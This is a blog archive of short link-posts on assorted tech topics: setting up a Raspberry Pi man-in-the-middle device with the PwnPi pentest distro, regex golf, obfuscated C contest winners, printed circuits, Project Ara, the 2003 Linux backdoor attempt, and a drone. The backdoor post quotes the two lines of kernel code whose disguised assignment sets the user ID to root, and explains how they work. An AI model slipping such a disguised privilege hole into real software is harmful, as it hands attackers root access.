Category Archives: Development

Setting up a man-in-the-middle device with Raspberry Pi, Part 1

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The regular install on a Raspberry Pi is NOOBS (new out-of-box software) and contains several pre-packaged operating systems. However for the purpose of our MITM device we’ll be using a different Linux distro for our Pi: PwnPi. PwnPi is a distribution of the Raspbian OS that contains many pre-installed packages for security and penetration testing which is naturally right up our alley. So, go ahead and download PwnPi. Once it’s downloaded we’ll need to load it onto our SD card. First, format your SD card using the SD card formatter from the SD association. If the “size” value shown in the formatter is less than the size of your card, be sure to choose “format size adjustment” in the card.

via Setting up a man-in-the-middle device with Raspberry Pi, Part 1 | jeffq, published.

xkcd 1313: Regex Golf

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I found that the hover text, “/bu|[rn]t|[coy]e|[mtg]a|j|iso|n[hl]|[ae]d|lev|sh|[lnd]i|[po]o|ls/ matches the last names of elected US presidents but not their opponents.“, contains a confusing contradiction. There are several last names (like “Nixon”) that denote both elected presidents and opponents. So no regular expression could both match and not match “Nixon”. I could only assume that Randall meant for these names to be winners and not losers (and in fact he later confirmed that was the correct interpretation).

So that got me thinking: can I come up with an algorithm to find a short regex that covers the winners and not the losers?

I started by finding a page that lists winners and losers of US presidential elections through 2000. Adding the 2004-2012 results I get:  …

via  xkcd 1313: Regex Golf

Apparently there is a Regex Golf game.

Type a regex in the box. You get ten points per correct match. Hit Enter to go to the next ‘level’.

Who won the 22nd IOCCC

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Here are the names and categories for the winners of the 22nd IOCCC:

via Who won the 22nd IOCCC.

IOCCC=International Obfuscated C Code Contest

The source for all the entries should compile and run.  I liked this one: Most catty

 horizontal_cat concatenates files horizontally and write the output to stdout. Each input file is padded with spaces on the right so that the original text alignments are preserved.

Georgia Tech develops inkjet-based circuits at fraction of time and cost

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Recent advances in chemically bonding metal particles allowed the researchers to use silver nanoparticle ink to print the circuits and avoid thermal bonding, or sintering, a time-consuming and potentially damaging technique due to the heat. Printing the circuits on resin-coated paper, PET film and glossy photo paper worked best. Researchers also made a list of materials to avoid, such as canvas cloths and magnet sheets.

via Georgia Tech develops inkjet-based circuits at fraction of time and cost.

From: Ink-Jet Printing Custom-Designed Micro Circuits

Initial reports of the technique, which the team demonstrated at a meeting of the Association for Computing Machinery in Zurich Sept. 10, described the result as a “paper computer,” though the best researchers could do was print a WiFi antenna, circuits for an LED and a 3D-printed flashlight. They also produced circuits containing microprocessors and memory-chip connectors that could potentially become components of an actual device, but the printing, ink and materials are still far too basic to allow that, according to Matt Johnson of conductive-ink manufacturer Bare Conductive, who was quoted in a New Scientist story about the demonstration.

Goodbye Sticky. Hello Ara.

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The design for Project Ara consists of what we call an endoskeleton endo and modules. The endo is the structural frame that holds all the modules in place. A module can be anything, from a new application processor to a new display or keyboard, an extra battery, a pulse oximeter–or something not yet thought of!

via The Official Motorola Blog: Goodbye Sticky. Hello Ara..

The Linux Backdoor Attempt of 2003

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What did the change do? This is where it gets really interesting. The change modified the code of a Linux function called wait4, which a program could use to wait for something to happen. Specifically, it added these two lines of code:

if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) 
     retval = -EINVAL;

via The Linux Backdoor Attempt of 2003.

Setting the user ID to zero is a problem because user ID number zero is the “root” user, which is allowed to do absolutely anything it wants—to access all data, change the behavior of all code, and to compromise entirely the security of all parts of the system. So the effect of this code is to give root privileges to any piece of software that called wait4 in a particular way that is supposed to be invalid. In other words … it’s a classic backdoor.

The check should have been current -> uid == 0.  Sneaky!

DJI Phantom Quadcopter with GoPro Mount

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The DJI Phantom Quadcopter with GoPro Mount is a remote controlled, four-propeller quadcopter with a removable GoPro camera mount for capturing POV footage of flight. The compact and lightweight Phantom is ready-to-fly right out of the box and it includes the remote control unit and receiver, which gives the device a transmission range of up to 984.25′ (300m). The Phantom also features an intelligent Naza-M + GPS multi-rotor autopilot system, which supports two flight modes and a failsafe function that will automatically trigger the device to land safely when control is lost.

via DJI Phantom Quadcopter with GoPro Mount CP.PT.000001 B&H Photo.